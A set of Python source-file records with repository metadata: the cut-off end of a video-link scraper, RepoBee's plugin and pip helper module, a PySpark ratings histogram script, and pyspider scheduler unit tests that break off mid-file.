'h265', 'x265'] for i in name): info.append('HEVC') try: size = re.findall('((?:\d+\.\d+|\d+\,\d+|\d+)\s*(?:GB|GiB|Gb|MB|MiB|Mb))', size)[-1] div = 1 if size.endswith(('Gb', 'GiB', 'GB')) else 1024 size = float(re.sub('[^0-9|/.|/,]', '', size)) / div size = '%.2f GB' % size info.append(size) except: pass info = ' | '.join(info) url = client.replaceHTMLCodes(url) url = url.encode('utf-8') if any(x in url for x in ['.rar', '.zip', '.iso', 'turk']):continue if 'ftp' in url: host = 'COV'; direct = True; else: direct = False; host= 'turbobit.net' #if not host in hostDict: continue host = client.replaceHTMLCodes(host) host = host.encode('utf-8') sources.append({'source': host, 'quality': quality, 'language': 'en', 'url': url, 'info': info, 'direct': direct, 'debridonly': True}) except: pass except: pass return sources except: return sources def resolve(self, url): return url

true

f7053cb96e078cbb641803774c57e3d6c47395cc

5,903

py

Python

src/_repobee/disthelpers.py

tohanss/repobee

cf5eb1e83e62c20bbca00c8ad9f798a612e1664f

[ "MIT" ]

null

src/_repobee/disthelpers.py

tohanss/repobee

cf5eb1e83e62c20bbca00c8ad9f798a612e1664f

[ "MIT" ]

null

src/_repobee/disthelpers.py

tohanss/repobee

cf5eb1e83e62c20bbca00c8ad9f798a612e1664f

[ "MIT" ]

null

"""Helper functions for the distribution.""" import importlib import json import pathlib import subprocess import sys import types import os from typing import Optional, List import requests import repobee_plug as plug import _repobee.ext from _repobee import distinfo from _repobee import plugin class DependencyResolutionError(plug.PlugError): """Raise when dependency resolution fails during an install.""" def get_installed_plugins_path() -> pathlib.Path: """Return the path to the installed_plugins.json file.""" assert distinfo.INSTALL_DIR return distinfo.INSTALL_DIR / "installed_plugins.json" def get_installed_plugins( installed_plugins_path: Optional[pathlib.Path] = None, ) -> dict: """Return the public content of the installed_plugins.json file.""" installed_plugins = _get_installed_plugins(installed_plugins_path) if "_metainfo" in installed_plugins: del installed_plugins["_metainfo"] return installed_plugins def _get_installed_plugins( installed_plugins_path: Optional[pathlib.Path] = None, ): """Return the content of the installed_plugins.json file, with metainfo.""" return json.loads( (installed_plugins_path or get_installed_plugins_path()).read_text( "utf8" ) ) def write_installed_plugins( installed_plugins: dict, installed_plugins_path: Optional[pathlib.Path] = None, ) -> None: """Write the installed_plugins.json file.""" path = installed_plugins_path or get_installed_plugins_path() metainfo = _get_installed_plugins(path).get("_metainfo") or {} metainfo.update(installed_plugins.get("_metainfo") or {}) installed_plugins_write = dict(installed_plugins) installed_plugins_write["_metainfo"] = metainfo path.write_text( json.dumps(installed_plugins_write, indent=4), encoding="utf8" ) def get_active_plugins( installed_plugins_path: Optional[pathlib.Path] = None, ) -> List[str]: """Read active plugins from the installed_plugins.json file.""" installed_plugins = _get_installed_plugins(installed_plugins_path) return (installed_plugins.get("_metainfo") or {}).get( "active_plugins" ) or [] def write_active_plugins( active_plugins: List[str], installed_plugins_path: Optional[pathlib.Path] = None, ) -> None: """Write the active plugins.""" installed_plugins = _get_installed_plugins(installed_plugins_path) installed_plugins.setdefault("_metainfo", {})[ "active_plugins" ] = active_plugins write_installed_plugins(installed_plugins, installed_plugins_path) def get_pip_path() -> pathlib.Path: """Return the path to the installed pip binary.""" assert distinfo.INSTALL_DIR return distinfo.INSTALL_DIR / "env" / "bin" / "pip" def get_plugins_json(url: str = "https://repobee.org/plugins.json") -> dict: """Fetch and parse the plugins.json file. Args: url: URL to the plugins.json file. Returns: A dictionary with the contents of the plugins.json file. """ resp = requests.get(url) if resp.status_code != 200: plug.log.error(resp.content.decode("utf8")) raise plug.PlugError(f"could not fetch plugins.json from '{url}'") return resp.json() def get_builtin_plugins(ext_pkg: types.ModuleType = _repobee.ext) -> dict: """Returns a dictionary of builting plugins on the same form as the plugins.json dict. """ def _get_plugin_description(name): return ( importlib.import_module(f"{ext_pkg.__name__}.{name}").__dict__.get( "PLUGIN_DESCRIPTION" ) or "-" ) return { name: dict( description=_get_plugin_description(name), url=f"https://repobee.readthedocs.io/" f"en/stable/builtins.html#{name}", versions={"N/A": {}}, builtin=True, ) for name in plugin.get_module_names(ext_pkg) } def pip(command: str, *args, **kwargs) -> subprocess.CompletedProcess: """Thin wrapper around the ``pip`` executable in the distribution's virtual environment. Args: command: The command to execute (e.g. "install" or "list"). args: Positional arguments to ``pip``, passed in order. Flags should also be passed here (e.g. `--pre`) kwargs: Keyword arguments to ``pip``, passed as ``--key value`` to the CLI. If the value is ``True``, the argument is passed as a flag, i.e. as ``--key``. Returns: True iff the command exited with a zero exit status. Raises: DependencyResolutionError: If the 2020-resolver encounters fails to resolve dependencies. """ cli_kwargs = [ f"--{key.replace('_', '-')}" # True is interpreted as a flag + (f"={val}" if val is not True else "") for key, val in kwargs.items() ] env = dict(os.environ) if command == "install": # the resolver allows us to avoid installing plugins that are # incompatible with the current version of RepoBee cli_kwargs.append("--use-feature=2020-resolver") # REPOBEE_INSTALL_DIR must be available when upgrading RepoBee, # or the dist plugins aren't activated env["REPOBEE_INSTALL_DIR"] = str(distinfo.INSTALL_DIR) # due to the hack in setup.py to edit the distinfo, we must build # RepoBee from source cli_kwargs.append("--no-binary=repobee") cmd = [str(get_pip_path()), command, *args, *cli_kwargs] proc = subprocess.run( cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env ) if proc.returncode != 0: stderr = proc.stderr.decode(sys.getdefaultencoding()) plug.log.error(stderr) if "ResolutionImpossible" in stderr: raise DependencyResolutionError() return proc

32.256831

79

0.671015

import importlib import json import pathlib import subprocess import sys import types import os from typing import Optional, List import requests import repobee_plug as plug import _repobee.ext from _repobee import distinfo from _repobee import plugin class DependencyResolutionError(plug.PlugError): def get_installed_plugins_path() -> pathlib.Path: assert distinfo.INSTALL_DIR return distinfo.INSTALL_DIR / "installed_plugins.json" def get_installed_plugins( installed_plugins_path: Optional[pathlib.Path] = None, ) -> dict: installed_plugins = _get_installed_plugins(installed_plugins_path) if "_metainfo" in installed_plugins: del installed_plugins["_metainfo"] return installed_plugins def _get_installed_plugins( installed_plugins_path: Optional[pathlib.Path] = None, ): return json.loads( (installed_plugins_path or get_installed_plugins_path()).read_text( "utf8" ) ) def write_installed_plugins( installed_plugins: dict, installed_plugins_path: Optional[pathlib.Path] = None, ) -> None: path = installed_plugins_path or get_installed_plugins_path() metainfo = _get_installed_plugins(path).get("_metainfo") or {} metainfo.update(installed_plugins.get("_metainfo") or {}) installed_plugins_write = dict(installed_plugins) installed_plugins_write["_metainfo"] = metainfo path.write_text( json.dumps(installed_plugins_write, indent=4), encoding="utf8" ) def get_active_plugins( installed_plugins_path: Optional[pathlib.Path] = None, ) -> List[str]: installed_plugins = _get_installed_plugins(installed_plugins_path) return (installed_plugins.get("_metainfo") or {}).get( "active_plugins" ) or [] def write_active_plugins( active_plugins: List[str], installed_plugins_path: Optional[pathlib.Path] = None, ) -> None: installed_plugins = _get_installed_plugins(installed_plugins_path) installed_plugins.setdefault("_metainfo", {})[ "active_plugins" ] = active_plugins write_installed_plugins(installed_plugins, installed_plugins_path) def get_pip_path() -> pathlib.Path: assert distinfo.INSTALL_DIR return distinfo.INSTALL_DIR / "env" / "bin" / "pip" def get_plugins_json(url: str = "https://repobee.org/plugins.json") -> dict: resp = requests.get(url) if resp.status_code != 200: plug.log.error(resp.content.decode("utf8")) raise plug.PlugError(f"could not fetch plugins.json from '{url}'") return resp.json() def get_builtin_plugins(ext_pkg: types.ModuleType = _repobee.ext) -> dict: def _get_plugin_description(name): return ( importlib.import_module(f"{ext_pkg.__name__}.{name}").__dict__.get( "PLUGIN_DESCRIPTION" ) or "-" ) return { name: dict( description=_get_plugin_description(name), url=f"https://repobee.readthedocs.io/" f"en/stable/builtins.html#{name}", versions={"N/A": {}}, builtin=True, ) for name in plugin.get_module_names(ext_pkg) } def pip(command: str, *args, **kwargs) -> subprocess.CompletedProcess: cli_kwargs = [ f"--{key.replace('_', '-')}" + (f"={val}" if val is not True else "") for key, val in kwargs.items() ] env = dict(os.environ) if command == "install": cli_kwargs.append("--use-feature=2020-resolver") env["REPOBEE_INSTALL_DIR"] = str(distinfo.INSTALL_DIR) # due to the hack in setup.py to edit the distinfo, we must build # RepoBee from source cli_kwargs.append("--no-binary=repobee") cmd = [str(get_pip_path()), command, *args, *cli_kwargs] proc = subprocess.run( cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env ) if proc.returncode != 0: stderr = proc.stderr.decode(sys.getdefaultencoding()) plug.log.error(stderr) if "ResolutionImpossible" in stderr: raise DependencyResolutionError() return proc

true

f7053dfef19a421a63c39a67f749f72d485326f3

440

py

Python

ratings-counter.py

csagar131/pyspark-scripts

7357baa1dc5499149e4e1041768827eee6209804

[ "Apache-2.0" ]

null

ratings-counter.py

csagar131/pyspark-scripts

7357baa1dc5499149e4e1041768827eee6209804

[ "Apache-2.0" ]

null

ratings-counter.py

csagar131/pyspark-scripts

7357baa1dc5499149e4e1041768827eee6209804

[ "Apache-2.0" ]

null

from pyspark import SparkConf, SparkContext import collections conf = SparkConf().setMaster("local").setAppName("RatingsHistogram") sc = SparkContext(conf = conf) lines = sc.textFile("D:/celebal/resources/ml-100k/u.data") ratings = lines.map(lambda x: x.split()[2]) result = ratings.countByValue() sortedResults = collections.OrderedDict(sorted(result.items())) for key, value in sortedResults.items(): print("%s %i" % (key, value))

31.428571

68

0.738636

from pyspark import SparkConf, SparkContext import collections conf = SparkConf().setMaster("local").setAppName("RatingsHistogram") sc = SparkContext(conf = conf) lines = sc.textFile("D:/celebal/resources/ml-100k/u.data") ratings = lines.map(lambda x: x.split()[2]) result = ratings.countByValue() sortedResults = collections.OrderedDict(sorted(result.items())) for key, value in sortedResults.items(): print("%s %i" % (key, value))

true

f705402b1b08aa6730ba341cc50c68502d1b99d6

17,851

py

Python

tests/test_scheduler.py

atlas555/pyspider

8f71e0e8d67f03a728cd5ea48fa931f6415e1e10

[ "Apache-2.0" ]

5

2015-03-31T13:25:25.000Z

2016-03-14T11:17:02.000Z

tests/test_scheduler.py

e-dorigatti/pyspider

8f71e0e8d67f03a728cd5ea48fa931f6415e1e10

[ "Apache-2.0" ]

null

tests/test_scheduler.py

e-dorigatti/pyspider

8f71e0e8d67f03a728cd5ea48fa931f6415e1e10

[ "Apache-2.0" ]

1

2016-02-17T23:12:47.000Z

#!/usr/bin/env python # -*- encoding: utf-8 -*- # vim: set et sw=4 ts=4 sts=4 ff=unix fenc=utf8: # Author: Binux<i@binux.me> # http://binux.me # Created on 2014-02-08 22:37:13 import os import time import shutil import unittest2 as unittest import logging import logging.config logging.config.fileConfig("pyspider/logging.conf") from pyspider.scheduler.task_queue import TaskQueue class TestTaskQueue(unittest.TestCase): @classmethod def setUpClass(self): self.task_queue = TaskQueue() self.task_queue.rate = 100000 self.task_queue.burst = 100000 self.task_queue.processing_timeout = 0.5 def test_10_put(self): self.task_queue.put('a3', 0, time.time() + 0.5) self.task_queue.put('a4', 3, time.time() + 0.2) self.task_queue.put('a2', 0) self.task_queue.put('a1', 1) self.assertEqual(self.task_queue.size(), 4) def test_20_update(self): self.task_queue.put('a2', 4) self.assertEqual(self.task_queue.size(), 4) self.task_queue.put('a3', 2, 0) self.assertEqual(self.task_queue.size(), 4) def test_30_get_from_priority_queue(self): self.assertEqual(self.task_queue.get(), 'a2') self.assertEqual(self.task_queue.size(), 4) def test_40_time_queue_1(self): self.task_queue.check_update() self.assertEqual(self.task_queue.get(), 'a3') self.assertEqual(self.task_queue.size(), 4) def test_50_time_queue_2(self): time.sleep(0.3) self.task_queue.check_update() self.assertEqual(self.task_queue.get(), 'a4') self.assertEqual(self.task_queue.get(), 'a1') self.assertEqual(self.task_queue.size(), 4) def test_60_processing_queue(self): time.sleep(0.5) self.task_queue.check_update() self.assertEqual(self.task_queue.get(), 'a2') self.assertEqual(len(self.task_queue), 4) self.assertEqual(self.task_queue.get(), 'a4') self.assertEqual(self.task_queue.get(), 'a3') self.assertEqual(self.task_queue.get(), 'a1') self.assertEqual(len(self.task_queue), 4) def test_70_done(self): self.assertTrue(self.task_queue.done('a2')) self.assertTrue(self.task_queue.done('a1')) self.assertEqual(len(self.task_queue), 2) self.assertTrue(self.task_queue.done('a4')) self.assertTrue(self.task_queue.done('a3')) self.assertEqual(len(self.task_queue), 0) from pyspider.scheduler.token_bucket import Bucket class TestBucket(unittest.TestCase): def test_bucket(self): bucket = Bucket(100, 1000) self.assertEqual(bucket.get(), 1000) time.sleep(0.1) self.assertEqual(bucket.get(), 1000) bucket.desc(100) self.assertEqual(bucket.get(), 900) time.sleep(0.1) self.assertAlmostEqual(bucket.get(), 910, delta=2) time.sleep(0.1) self.assertAlmostEqual(bucket.get(), 920, delta=2) try: from six.moves import xmlrpc_client except ImportError: import xmlrpclib as xmlrpc_client from pyspider.scheduler.scheduler import Scheduler from pyspider.database.sqlite import taskdb, projectdb, resultdb from pyspider.libs.multiprocessing_queue import Queue from pyspider.libs.utils import run_in_thread class TestScheduler(unittest.TestCase): taskdb_path = './data/tests/task.db' projectdb_path = './data/tests/project.db' resultdb_path = './data/tests/result.db' check_project_time = 1 scheduler_xmlrpc_port = 23333 @classmethod def setUpClass(self): shutil.rmtree('./data/tests', ignore_errors=True) os.makedirs('./data/tests') def get_taskdb(): return taskdb.TaskDB(self.taskdb_path) self.taskdb = get_taskdb() def get_projectdb(): return projectdb.ProjectDB(self.projectdb_path) self.projectdb = get_projectdb() def get_resultdb(): return resultdb.ResultDB(self.resultdb_path) self.resultdb = get_resultdb() self.newtask_queue = Queue(10) self.status_queue = Queue(10) self.scheduler2fetcher = Queue(10) self.rpc = xmlrpc_client.ServerProxy('http://localhost:%d' % self.scheduler_xmlrpc_port) def run_scheduler(): scheduler = Scheduler(taskdb=get_taskdb(), projectdb=get_projectdb(), newtask_queue=self.newtask_queue, status_queue=self.status_queue, out_queue=self.scheduler2fetcher, data_path="./data/tests/", resultdb=get_resultdb()) scheduler.UPDATE_PROJECT_INTERVAL = 0.1 scheduler.LOOP_INTERVAL = 0.1 scheduler.INQUEUE_LIMIT = 10 scheduler.DELETE_TIME = 0 scheduler.DEFAULT_RETRY_DELAY = {'': 5} scheduler._last_tick = int(time.time()) # not dispatch cronjob run_in_thread(scheduler.xmlrpc_run, port=self.scheduler_xmlrpc_port) scheduler.run() self.process = run_in_thread(run_scheduler) time.sleep(1) @classmethod def tearDownClass(self): if self.process.is_alive(): self.rpc._quit() self.process.join(5) assert not self.process.is_alive() shutil.rmtree('./data/tests', ignore_errors=True) time.sleep(1) def test_10_new_task_ignore(self): self.newtask_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url' }) self.assertEqual(self.rpc.size(), 0) self.assertEqual(len(self.rpc.get_active_tasks()), 0) def test_20_new_project(self): self.projectdb.insert('test_project', { 'name': 'test_project', 'group': 'group', 'status': 'TODO', 'script': 'import time\nprint(time.time())', 'comments': 'test project', 'rate': 1.0, 'burst': 10, }) def test_30_update_project(self): from six.moves import queue as Queue with self.assertRaises(Queue.Empty): task = self.scheduler2fetcher.get(timeout=1) self.projectdb.update('test_project', status="DEBUG") time.sleep(0.1) self.rpc.update_project() task = self.scheduler2fetcher.get(timeout=10) self.assertIsNotNone(task) self.assertEqual(task['url'], 'data:,_on_get_info') def test_34_new_not_used_project(self): self.projectdb.insert('test_project_not_started', { 'name': 'test_project_not_started', 'group': 'group', 'status': 'RUNNING', 'script': 'import time\nprint(time.time())', 'comments': 'test project', 'rate': 1.0, 'burst': 10, }) task = self.scheduler2fetcher.get(timeout=1) self.assertEqual(task['taskid'], '_on_get_info') def test_35_new_task(self): time.sleep(0.2) self.newtask_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'fetch': { 'data': 'abc', }, 'process': { 'data': 'abc', }, 'schedule': { 'age': 0, }, }) time.sleep(0.5) task = self.scheduler2fetcher.get(timeout=10) self.assertGreater(len(self.rpc.get_active_tasks()), 0) self.assertIsNotNone(task) self.assertEqual(task['project'], 'test_project') self.assertIn('schedule', task) self.assertIn('fetch', task) self.assertIn('process', task) self.assertIn('track', task) self.assertEqual(task['fetch']['data'], 'abc') def test_37_force_update_processing_task(self): self.newtask_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url_force_update', 'schedule': { 'age': 10, 'force_update': True, }, }) time.sleep(0.2) # it should not block next def test_40_taskdone_error_no_project(self): self.status_queue.put({ 'taskid': 'taskid', 'project': 'no_project', 'url': 'url' }) time.sleep(0.1) self.assertEqual(self.rpc.size(), 1) def test_50_taskdone_error_no_track(self): self.status_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url' }) time.sleep(0.1) self.assertEqual(self.rpc.size(), 1) self.status_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'track': {} }) time.sleep(0.1) self.assertEqual(self.rpc.size(), 1) def test_60_taskdone_failed_retry(self): self.status_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'track': { 'fetch': { 'ok': True }, 'process': { 'ok': False }, } }) from six.moves import queue as Queue with self.assertRaises(Queue.Empty): task = self.scheduler2fetcher.get(timeout=4) task = self.scheduler2fetcher.get(timeout=5) self.assertIsNotNone(task) def test_70_taskdone_ok(self): self.status_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'track': { 'fetch': { 'ok': True }, 'process': { 'ok': True }, } }) time.sleep(0.2) self.assertEqual(self.rpc.size(), 0) def test_80_newtask_age_ignore(self): self.newtask_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'fetch': { 'data': 'abc', }, 'process': { 'data': 'abc', }, 'schedule': { 'age': 30, }, }) time.sleep(0.1) self.assertEqual(self.rpc.size(), 0) def test_82_newtask_via_rpc(self): self.rpc.newtask({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'fetch': { 'data': 'abc', }, 'process': { 'data': 'abc', }, 'schedule': { 'age': 30, }, }) time.sleep(0.1) self.assertEqual(self.rpc.size(), 0) def test_90_newtask_with_itag(self): time.sleep(0.1) self.newtask_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'fetch': { 'data': 'abc', }, 'process': { 'data': 'abc', }, 'schedule': { 'itag': "abc", 'retries': 1 }, }) task = self.scheduler2fetcher.get(timeout=10) self.assertIsNotNone(task) self.test_70_taskdone_ok() def test_a10_newtask_restart_by_age(self): self.newtask_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'fetch': { 'data': 'abc', }, 'process': { 'data': 'abc', }, 'schedule': { 'age': 0, 'retries': 1 }, }) task = self.scheduler2fetcher.get(timeout=10) self.assertIsNotNone(task) def test_a20_failed_retry(self): self.status_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'track': { 'fetch': { 'ok': True }, 'process': { 'ok': False }, } }) task = self.scheduler2fetcher.get(timeout=5) self.assertIsNotNone(task) self.status_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'track': { 'fetch': { 'ok': False }, 'process': { 'ok': False }, } }) from six.moves import queue as Queue with self.assertRaises(Queue.Empty): self.scheduler2fetcher.get(timeout=5) def test_a30_task_verify(self): self.assertFalse(self.rpc.newtask({ #'taskid': 'taskid#', 'project': 'test_project', 'url': 'url', })) self.assertFalse(self.rpc.newtask({ 'taskid': 'taskid#', #'project': 'test_project', 'url': 'url', })) self.assertFalse(self.rpc.newtask({ 'taskid': 'taskid#', 'project': 'test_project', #'url': 'url', })) self.assertFalse(self.rpc.newtask({ 'taskid': 'taskid#', 'project': 'not_exist_project', 'url': 'url', })) self.assertTrue(self.rpc.newtask({ 'taskid': 'taskid#', 'project': 'test_project', 'url': 'url', })) def test_a40_success_recrawl(self): self.newtask_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'fetch': { 'data': 'abc', }, 'process': { 'data': 'abc', }, 'schedule': { 'age': 0, 'retries': 1, 'auto_recrawl': True, }, }) task = self.scheduler2fetcher.get(timeout=10) self.assertIsNotNone(task) self.status_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'schedule': { 'age': 0, 'retries': 1, 'auto_recrawl': True, }, 'track': { 'fetch': { 'ok': True }, 'process': { 'ok': True }, } }) task = self.scheduler2fetcher.get(timeout=10) self.assertIsNotNone(task) def test_a50_failed_recrawl(self): for i in range(3): self.status_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'schedule': { 'age': 0, 'retries': 1, 'auto_recrawl': True, }, 'track': { 'fetch': { 'ok': True }, 'process': { 'ok': False }, } }) task = self.scheduler2fetcher.get(timeout=10) self.assertIsNotNone(task) def test_a60_disable_recrawl(self): self.status_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'schedule': { 'age': 0, 'retries': 1, }, 'track': { 'fetch': { 'ok': True }, 'process': { 'ok': True }, } }) from six.moves import queue as Queue with self.assertRaises(Queue.Empty): self.scheduler2fetcher.get(timeout=5) def test_x10_inqueue_limit(self): self.projectdb.insert('test_inqueue_project', { 'name': 'test_inqueue_project', 'group': 'group', 'status': 'DEBUG', 'script': 'import time\nprint(time.time())', 'comments': 'test project', 'rate': 0, 'burst': 0, }) time.sleep(0.1) pre_size = self.rpc.size() for i in range(20): self.newtask_queue.put({ 'taskid': 'taskid%d' % i, 'project': 'test_inqueue_project', 'url': 'url', 'schedule': { 'age': 3000, 'force_update': True, }, }) time.sleep(1) self.assertEqual(self.rpc.size() - pre_size, 10) def test_x20_delete_project(self): self.assertIsNotNone(self.projectdb.get('test_inqueue_project')) #self.assertIsNotNone(self.taskdb.get_task('test_inqueue_project', 'taskid1')) self.projectdb.update('test_inqueue_project', status="STOP", group="lock,delete") time.sleep(1) self.assertIsNone(self.projectdb.get('test_inqueue_project')) self.taskdb._list_project() self.assertIsNone(self.taskdb.get_task('test_inqueue_project', 'taskid1')) def test_z10_startup(self): self.assertTrue(self.process.is_alive()) def test_z20_quit(self): self.rpc._quit() time.sleep(0.2) self.assertFalse(self.process.is_alive()) self.assertEqual( self.taskdb.get_task('test_project', 'taskid')['status'], self.taskdb.SUCCESS ) if __name__ == '__main__': unittest.main()

30.671821

99

0.503893

import os import time import shutil import unittest2 as unittest import logging import logging.config logging.config.fileConfig("pyspider/logging.conf") from pyspider.scheduler.task_queue import TaskQueue class TestTaskQueue(unittest.TestCase): @classmethod def setUpClass(self): self.task_queue = TaskQueue() self.task_queue.rate = 100000 self.task_queue.burst = 100000 self.task_queue.processing_timeout = 0.5 def test_10_put(self): self.task_queue.put('a3', 0, time.time() + 0.5) self.task_queue.put('a4', 3, time.time() + 0.2) self.task_queue.put('a2', 0) self.task_queue.put('a1', 1) self.assertEqual(self.task_queue.size(), 4) def test_20_update(self): self.task_queue.put('a2', 4) self.assertEqual(self.task_queue.size(), 4) self.task_queue.put('a3', 2, 0) self.assertEqual(self.task_queue.size(), 4) def test_30_get_from_priority_queue(self): self.assertEqual(self.task_queue.get(), 'a2') self.assertEqual(self.task_queue.size(), 4) def test_40_time_queue_1(self): self.task_queue.check_update() self.assertEqual(self.task_queue.get(), 'a3') self.assertEqual(self.task_queue.size(), 4) def test_50_time_queue_2(self): time.sleep(0.3) self.task_queue.check_update() self.assertEqual(self.task_queue.get(), 'a4') self.assertEqual(self.task_queue.get(), 'a1') self.assertEqual(self.task_queue.size(), 4) def test_60_processing_queue(self): time.sleep(0.5) self.task_queue.check_update() self.assertEqual(self.task_queue.get(), 'a2') self.assertEqual(len(self.task_queue), 4) self.assertEqual(self.task_queue.get(), 'a4') self.assertEqual(self.task_queue.get(), 'a3') self.assertEqual(self.task_queue.get(), 'a1') self.assertEqual(len(self.task_queue), 4) def test_70_done(self): self.assertTrue(self.task_queue.done('a2')) self.assertTrue(self.task_queue.done('a1')) self.assertEqual(len(self.task_queue), 2) self.assertTrue(self.task_queue.done('a4')) self.assertTrue(self.task_queue.done('a3')) self.assertEqual(len(self.task_queue), 0) from pyspider.scheduler.token_bucket import Bucket class TestBucket(unittest.TestCase): def test_bucket(self): bucket = Bucket(100, 1000) self.assertEqual(bucket.get(), 1000) time.sleep(0.1) self.assertEqual(bucket.get(), 1000) bucket.desc(100) self.assertEqual(bucket.get(), 900) time.sleep(0.1) self.assertAlmostEqual(bucket.get(), 910, delta=2) time.sleep(0.1) self.assertAlmostEqual(bucket.get(), 920, delta=2) try: from six.moves import xmlrpc_client except ImportError: import xmlrpclib as xmlrpc_client from pyspider.scheduler.scheduler import Scheduler from pyspider.database.sqlite import taskdb, projectdb, resultdb from pyspider.libs.multiprocessing_queue import Queue from pyspider.libs.utils import run_in_thread class TestScheduler(unittest.TestCase): taskdb_path = './data/tests/task.db' projectdb_path = './data/tests/project.db' resultdb_path = './data/tests/result.db' check_project_time = 1 scheduler_xmlrpc_port = 23333 @classmethod def setUpClass(self): shutil.rmtree('./data/tests', ignore_errors=True) os.makedirs('./data/tests') def get_taskdb(): return taskdb.TaskDB(self.taskdb_path) self.taskdb = get_taskdb() def get_projectdb(): return projectdb.ProjectDB(self.projectdb_path) self.projectdb = get_projectdb() def get_resultdb(): return resultdb.ResultDB(self.resultdb_path) self.resultdb = get_resultdb() self.newtask_queue = Queue(10) self.status_queue = Queue(10) self.scheduler2fetcher = Queue(10) self.rpc = xmlrpc_client.ServerProxy('http://localhost:%d' % self.scheduler_xmlrpc_port) def run_scheduler(): scheduler = Scheduler(taskdb=get_taskdb(), projectdb=get_projectdb(), newtask_queue=self.newtask_queue, status_queue=self.status_queue, out_queue=self.scheduler2fetcher, data_path="./data/tests/", resultdb=get_resultdb()) scheduler.UPDATE_PROJECT_INTERVAL = 0.1 scheduler.LOOP_INTERVAL = 0.1 scheduler.INQUEUE_LIMIT = 10 scheduler.DELETE_TIME = 0 scheduler.DEFAULT_RETRY_DELAY = {'': 5} scheduler._last_tick = int(time.time()) run_in_thread(scheduler.xmlrpc_run, port=self.scheduler_xmlrpc_port) scheduler.run() self.process = run_in_thread(run_scheduler) time.sleep(1) @classmethod def tearDownClass(self): if self.process.is_alive(): self.rpc._quit() self.process.join(5) assert not self.process.is_alive() shutil.rmtree('./data/tests', ignore_errors=True) time.sleep(1) def test_10_new_task_ignore(self): self.newtask_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url' }) self.assertEqual(self.rpc.size(), 0) self.assertEqual(len(self.rpc.get_active_tasks()), 0) def test_20_new_project(self): self.projectdb.insert('test_project', { 'name': 'test_project', 'group': 'group', 'status': 'TODO', 'script': 'import time\nprint(time.time())', 'comments': 'test project', 'rate': 1.0, 'burst': 10, }) def test_30_update_project(self): from six.moves import queue as Queue with self.assertRaises(Queue.Empty): task = self.scheduler2fetcher.get(timeout=1) self.projectdb.update('test_project', status="DEBUG") time.sleep(0.1) self.rpc.update_project() task = self.scheduler2fetcher.get(timeout=10) self.assertIsNotNone(task) self.assertEqual(task['url'], 'data:,_on_get_info') def test_34_new_not_used_project(self): self.projectdb.insert('test_project_not_started', { 'name': 'test_project_not_started', 'group': 'group', 'status': 'RUNNING', 'script': 'import time\nprint(time.time())', 'comments': 'test project', 'rate': 1.0, 'burst': 10, }) task = self.scheduler2fetcher.get(timeout=1) self.assertEqual(task['taskid'], '_on_get_info') def test_35_new_task(self): time.sleep(0.2) self.newtask_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'fetch': { 'data': 'abc', }, 'process': { 'data': 'abc', }, 'schedule': { 'age': 0, }, }) time.sleep(0.5) task = self.scheduler2fetcher.get(timeout=10) self.assertGreater(len(self.rpc.get_active_tasks()), 0) self.assertIsNotNone(task) self.assertEqual(task['project'], 'test_project') self.assertIn('schedule', task) self.assertIn('fetch', task) self.assertIn('process', task) self.assertIn('track', task) self.assertEqual(task['fetch']['data'], 'abc') def test_37_force_update_processing_task(self): self.newtask_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url_force_update', 'schedule': { 'age': 10, 'force_update': True, }, }) time.sleep(0.2) def test_40_taskdone_error_no_project(self): self.status_queue.put({ 'taskid': 'taskid', 'project': 'no_project', 'url': 'url' }) time.sleep(0.1) self.assertEqual(self.rpc.size(), 1) def test_50_taskdone_error_no_track(self): self.status_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url' }) time.sleep(0.1) self.assertEqual(self.rpc.size(), 1) self.status_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'track': {} }) time.sleep(0.1) self.assertEqual(self.rpc.size(), 1) def test_60_taskdone_failed_retry(self): self.status_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'track': { 'fetch': { 'ok': True }, 'process': { 'ok': False }, } }) from six.moves import queue as Queue with self.assertRaises(Queue.Empty): task = self.scheduler2fetcher.get(timeout=4) task = self.scheduler2fetcher.get(timeout=5) self.assertIsNotNone(task) def test_70_taskdone_ok(self): self.status_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'track': { 'fetch': { 'ok': True }, 'process': { 'ok': True }, } }) time.sleep(0.2) self.assertEqual(self.rpc.size(), 0) def test_80_newtask_age_ignore(self): self.newtask_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'fetch': { 'data': 'abc', }, 'process': { 'data': 'abc', }, 'schedule': { 'age': 30, }, }) time.sleep(0.1) self.assertEqual(self.rpc.size(), 0) def test_82_newtask_via_rpc(self): self.rpc.newtask({ 'taskid': 'taskid', 'project': 'test_project', 'url': 'url', 'fetch': { 'data': 'abc', }, 'process': { 'data': 'abc', }, 'schedule': { 'age': 30, }, }) time.sleep(0.1) self.assertEqual(self.rpc.size(), 0) def test_90_newtask_with_itag(self): time.sleep(0.1) self.newtask_queue.put({ 'taskid': 'taskid', 'project': 'test_project', 'url': 